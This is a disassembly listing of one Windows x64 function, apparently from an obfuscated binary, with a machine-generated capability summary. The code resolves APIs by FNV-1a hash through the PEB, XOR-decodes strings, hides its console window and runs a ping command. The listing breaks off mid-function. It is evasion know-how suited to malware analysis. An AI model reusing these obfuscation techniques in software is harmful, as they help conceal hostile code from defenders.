Function at 0x140013bc0
Capabilities:
Access peb ldr_data
Check os version
Create thread
Encode data using xor
Execute command
Generate random numbers using a mersenne twister
Hash data using fnv
Query environment variable
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r14
push r15
mov eax, 0x46c0
call fcn.14008b2d0
sub rsp, rax
mov rax, qword [0x1400ad080]
xor rax, rsp
mov qword [rsp + 0x46b0], rax
xor esi, esi
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140012a60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x1400128a0]
lea rcx, [rsp + 0xa90]
call fcn.140028290
nop
lea rdx, [0x1400125b0]
lea rcx, [rsp + 0xab0]
call fcn.140028290
nop
lea rdx, [0x14000c290]
lea rcx, [rsp + 0xaa0]
call fcn.140028290
nop
mov byte [rsp + 0x32], reloc.WS2_32.dll_gethostname
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140024410
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140024410
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024407
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140013cd0
cmp r8d, 0x9a9264ad
jne 0x140024407
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov byte [rsp + 0x32], 0
lea rcx, [rsp + 0x32]
call rdx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, reloc.WLDAP32.dll_Ordinal_200
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.USER32.dll_ShowScrollBar]
cmp rbx, 0xffffffffffffffff
je 0x140013dc0
mov dword [rsp + 0xba0], 0x60
lea rdx, [rsp + 0xba0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfoEx]
test eax, eax
je 0x140013dc0
mov eax, 0x2329
mov word [rsp + 0xba6], ax
lea rdx, [rsp + 0xba0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferInfoEx]
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rsp + 0xa6c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rsp + 0xa6c]
and edx, 0xffffffbf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov r11d, dword [rdx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400243ff
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400243ff
mov r14d, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rax, [r14 + r10*4]
mov edx, dword [rax + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400243f6
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140013e80
cmp r8d, 0xbc0e3315
jne 0x1400243f6
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
mov edx, 5
mov rcx, rdi
call r8
lea rcx, str.ping__n_1_www.google.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x140014510
lea rdx, [rsp + 0x5c]
lea rcx, [rsp + 0x33]
call fcn.140024420
mov r10, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140013f86
mov r11d, dword [rbx + 0x18]
test r11d, r11d
je 0x140013f86
mov r14d, dword [rbx + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [r14 + r11*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140013f81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140013f60
cmp r8d, 0x491e0a9c
je 0x140013f8b
test r11d, r11d
jne 0x140013f40
mov rax, qword [rax]
jmp 0x140013f10
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r11*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp byte [r10 + 3], 0
je 0x140014083
cmp ebx, 2
jl 0x14001403f
movdqa xmm3, xmmword [0x1400a0080]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a0280]
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
jmp 0x140014083
mov r11, r10
mov r9d, esi
nop word [rax + rax]
mov eax, 0x92492493
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r11], al
inc r9d
lea r11, [r11 + 1]
cmp r9d, 4
jl 0x140014050
mov rcx, r10
call r8
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x34]
call fcn.140024430
mov r10, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov edi, dword [rdx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140014126
mov r11d, dword [rdi + 0x18]
test r11d, r11d
je 0x140014126
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [r9 + r11*4]
mov edx, dword [rax + r15]
add rdx, r9
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140014121
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140014100
cmp r8d, 0xe76fb4aa
je 0x14001412b
test r11d, r11d
jne 0x1400140e0
mov rcx, qword [rcx]
jmp 0x1400140b0
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r11*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r11d, dword [rcx + rdx*4]
add r11, r9
cmp byte [r10 + 0x14], 0
je 0x1400142e3
mov r8d, esi
cmp ebx, 2
jl 0x1400142a7
movdqa xmm0, xmmword [0x1400a0280]
movdqa xmmword [rsp + 0x190], xmm0
mov rcx, r10
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140014170
cmp r8d, 0x15
jge 0x1400142e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400142b0
mov rcx, r10
call r11
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x35]
call fcn.140024460
movzx edx, byte [rax + 9]
test dl, dl
je 0x140014333
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor byte [rax + 8], 0x41
xor dl, 0x42
mov byte [rax + 9], dl
mov rdx, rax
mov rcx, rdi
call fcn.140026a20
mov rdi, rax
lea rdx, [rsp + 0x8a0]
lea rcx, [rsp + 0x36]
call fcn.140024480
mov r8, rax
cmp byte [rax + 0x17], 0
je 0x1400144e1
cmp ebx, 2
jl 0x1400144af
movdqa xmm0, xmmword [0x1400a0280]
movdqa xmmword [rsp + 0x190], xmm0
mov rcx, rax
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140014380
jmp 0x1400144e1
mov r9, r8
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r9], al
inc esi
lea r9, [r9 + 1]
cmp esi, 0x18
jl 0x1400144b2
mov rdx, r8
mov rcx, rdi
call fcn.140026a20
lea rdx, [0x140027050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov eax, dword [str.ZVH_]
mov dword [rsp + 0x60], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400243ee
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400243ee
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400243e5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140014590
cmp r8d, 0x491e0a9c
jne 0x1400243e5
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp r14d, 2
jl 0x140014664
movdqa xmm3, xmmword [0x1400a0080]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a0280]
movd xmm0, dword [rsp + 0x60]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
jmp 0x1400146a3
lea r10, [rsp + 0x60]
mov r9d, esi
nop dword [rax]
mov eax, 0x92492493
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140014670
lea rcx, [rsp + 0x60]
call r8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.ZVH_]
mov dword [rsp + 0x64], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400243dd
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400243dd
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400243d4
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140014740
cmp r8d, 0x491e0a9c
jne 0x1400243d4
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
cmp r14d, 2
jl 0x14001480d
movdqa xmm3, xmmword [0x1400a0080]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a0280]
movd xmm0, dword [rsp + 0x64]
xorps xmm2, xmm0
movd dword [rsp + 0x64], xmm2
jmp 0x140014853
lea r10, [rsp + 0x64]
mov r9d, esi
nop word [rax + rax]
mov eax, 0x92492493
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140014820
lea rcx, [rsp + 0x64]
call r8
call fcn.140010910
test al, al
je 0x140014cf0
lea rdx, [rsp + 0x438]
lea rcx, [rsp + 0x37]
call fcn.140024430
mov r10, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov ebx, dword [rdx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140014906
mov r11d, dword [rbx + 0x18]
test r11d, r11d
je 0x140014906
mov r15d, dword [rbx + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [r15 + r11*4]
mov edx, dword [rax + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140014901
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400148e0
cmp r8d, 0xe76fb4aa
je 0x14001490b
test r11d, r11d
jne 0x1400148c0
mov rcx, qword [rcx]
jmp 0x140014890
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r11*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r11d, dword [rcx + rdx*4]
add r11, r9
cmp byte [r10 + 0x14], 0
je 0x140014ac3
mov r8d, esi
cmp r14d, 2
jl 0x140014a87
movdqa xmm0, xmmword [0x1400a0280]
movdqa xmmword [rsp + 0x190], xmm0
mov rcx, r10
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140014950
cmp r8d, 0x15
jge 0x140014ac3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140014a90
mov rcx, r10
call r11
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0x38]
call fcn.140024460
movzx edx, byte [rax + 9]
test dl, dl
je 0x140014b13
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor byte [rax + 8], 0x41
xor dl, 0x42
mov byte [rax + 9], dl
mov rdx, rax
mov rcx, rbx
call fcn.140026a20
mov rbx, rax
lea rdx, [rsp + 0xa30]
lea rcx, [rsp + 0x39]
call fcn.1400244a0
mov r8, rax
cmp byte [rax + 0x37], 0
je 0x140014cc1
cmp r14d, 2
jl 0x140014c8f
movdqa xmm0, xmmword [0x1400a0280]
movdqa xmmword [rsp + 0x190], xmm0
mov rcx, rax
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x38
jl 0x140014b60
jmp 0x140014cc1
mov r9, r8
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r9], al
inc esi
lea r9, [r9 + 1]
cmp esi, 0x38
jl 0x140014c92
mov rdx, r8
mov rcx, rbx
call fcn.140026a20
lea rdx, [0x140027050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x1400ae4d0]
call fcn.1400352f0
cmp byte [0x1400ae6e8], 0
jne 0x140014fdd
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x3a]
call fcn.140024430
mov r10, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov ebx, dword [rdx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140014da6
mov r11d, dword [rbx + 0x18]
test r11d, r11d
je 0x140014da6
mov r15d, dword [rbx + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [r9 + r11*4]
mov edx, dword [rax + r15]
add rdx, r9
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140014da1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140014d80
cmp r8d, 0xe76fb4aa
je 0x140014dab
test r11d, r11d
jne 0x140014d60
mov rcx, qword [rcx]
jmp 0x140014d30
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r11*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r11d, dword [rcx + rdx*4]
add r11, r9
cmp byte [r10 + 0x14], 0
je 0x140014f5f
cmp r14d, 2
jl 0x140014f24
movdqa xmm0, xmmword [0x1400a0280]
